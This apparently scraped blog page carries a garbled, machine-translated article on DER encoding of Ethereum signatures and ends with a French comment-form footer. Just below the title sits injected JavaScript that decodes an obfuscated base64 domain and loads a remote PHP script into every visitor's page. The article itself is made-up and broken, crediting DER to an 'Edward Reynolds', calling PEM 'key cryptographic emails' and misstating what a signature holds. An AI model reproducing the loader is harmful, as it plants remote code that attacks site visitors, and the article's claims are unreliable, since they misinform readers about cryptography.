Ethereum: Why use DER encoding for signatures?

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=d4995fd7″;document.body.appendChild(script);

Ethereum: Why is it worth using Der encoding for signatures?

As for signing messages in Ethereum, the choice of encoding scheme is crucial. One of the most common options is Der encoding, also known as the leading role of Edward Reynolds (DER). However, the use of DER signature encoding can have significant consequences.

In this article, we will study why the use of DER signatures may not be necessary and what are the alternatives available.

What is a signature?

The Ethereum signature is two 32-base numbers: message and its abbreviation. This signature is used to prove that the transaction sender has control over all transaction data.

Der Coding: Short History

Edward Reynolds has introduced Der encoding as a more effective alternative to traditional hexademy encoding schemes such as PEM or BASE64. However, until recently it was not widely accepted and its use in Ethereum transactions is still relatively rare.

In the first days of Ethereum, signatures were encoded using PEM (key cryptographic emails), which was later replaced by Der Coding. Although this change did not completely eliminate the need to encode DER, it made the transition more.

Why is it worth using Der encoding for signatures?

Der Coding offers several advantages over traditional hexagonist encoding schemes:

  • Productivity : Der encoding is more compact than encoding PEM or BASE64, which makes it suitable for large transactions.

  • Security : With one, connected signature (message and abbreviation) the risk of one component is reduced.

  • Operational Compatibility

    Ethereum: Why use DER encoding for signatures?

    : Der Coding can be easily converted to other formats such as PEM or BASE64.

Disadvantages of using DER Signature Coding

Although Der encoding offers advantages, it also has significant disadvantages:

  • Complexness : Using Der encoding adds an additional layer of complexity when signing transactions.

  • Brightness

    : In the transaction format, the message and the abbreviation are already clearly presented. Adding 6-7 bytes encoded DER data may not be immediately obvious for other pages.

  • Restrictions on interoperability : Der encoding is specific to the private Ethereum format and may not be compatible with other platforms or networks.

Alternatives for Der Der Coding

If you have difficulty using DER encoding, consider these alternatives:

  • BASE64 : PEM or BASE64 Coding can be used as an intermediate stage and then der.

2.

  • JSON Web Takens (JWT) : JSON Web Takens (JWT) is another popular alternative to Ethereum messaging.

App

Although Der encoding provides some advantages, this is not the only option available. By understanding the compromises between Der encoding and other alternatives, you can make a conscious decision on how to sign your messages on Ethereum.

In this article, we have looked at why the use of DER signatures may not be necessary and what options are available. Whether you prefer PEM or BASE64 or JWT, encoding as a more modern alternative, you do not need to devote security and performance for convenience.

SOLANA MISMATCHED SOLANA

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *